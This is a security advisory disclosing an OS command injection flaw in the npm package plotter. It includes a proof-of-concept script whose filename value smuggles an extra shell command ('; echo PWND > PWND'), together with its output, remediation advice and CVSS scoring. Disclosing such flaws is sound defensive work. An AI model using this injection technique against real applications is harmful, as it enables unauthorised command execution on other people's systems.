---
title: "CX-2021-4809"
date: "2021-04-28T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4809/"
---

# CX-2021-4809

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

No CVE assigned  **Published:** Apr 28, 2021

9.8 Critical Severity javascript nodejs npm RCE

AS André Sá  Reported by Checkmarx Zero

Details Overview

## Summary

An OS Command Injection vulnerability was discovered in  
[plotter](https://www.npmjs.com/package/plotter) through the `plot()` function.

## Product

All versions of plotter currently published on NPM.

## Impact

It’s possible to inject OS commands into the command line that will be used to  
run Gnuplot, in the `plot()` function. This vulnerability is not to be confused  
with [NPM-1441](https://www.npmjs.com/advisories/1441), which allows for an  
attacker to inject malicious Gnuplot code instead. Thus, fixing one of the  
vulnerabilities **does not** fix the other.

## Steps to reproduce

```sh
$ rm -rf output.svg PWND
$ ls -1
node_modules
package-lock.json
package.json
poc.js
$ cat poc.js
require('plotter').plot({
    data: [ 3, 1, 2, 3, 4 ],
    filename: 'output.svg; echo PWND > PWND',
    format: 'svg'
});
$ node poc.js
node:events:353
      throw er; // Unhandled 'error' event
      ^

Error: write EPIPE
    at afterWriteDispatched (node:internal/stream_base_commons:162:15)
    at writeGeneric (node:internal/stream_base_commons:153:3)
    at Socket._writeGeneric (node:net:774:11)
    at Socket._write (node:net:786:8)
    at writeOrBuffer (node:internal/streams/writable:395:12)
    at Socket.Writable.write (node:internal/streams/writable:340:10)
    at setup_gnuplot (/poc/node_modules/plotter/plotter.js:89:19)
    at Object.plot (/poc/node_modules/plotter/plotter.js:185:3)
    at Object.<anonymous> (/poc/poc.js:1:20)
    at Module._compile (node:internal/modules/cjs/loader:1108:14)
Emitted 'error' event on Socket instance at:
    at emitErrorNT (node:internal/streams/destroy:188:8)
    at emitErrorCloseNT (node:internal/streams/destroy:153:3)
    at processTicksAndRejections (node:internal/process/task_queues:80:21) {
  errno: -32,
  code: 'EPIPE',
  syscall: 'write'
}
$ cat PWND
PWND
```

With this PoC I’m only exploiting through the `filename` option, but others may  
be exploitable as well.

## Remediation

There are currently no fixed versions released. As a workaround, avoid passing  
untrusted input into the vulnerable parameters when using the library.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher  
[André Sá](https://www.linkedin.com/in/andre-m-sa).

## Resources

1. [Vulnerable code](https://github.com/richardeoin/nodejs-plotter/blob/f2dc132c57b8eab03156287ec90b9e388621d27c/plotter.js#L175-L185)

0  Critical Severity CVSS v3.1 Score

   9.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Discovered Jan 28, 2021 Vulnerability found
2. Disclosed Jan 28, 2021 Notified the plotter project's maintainers

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)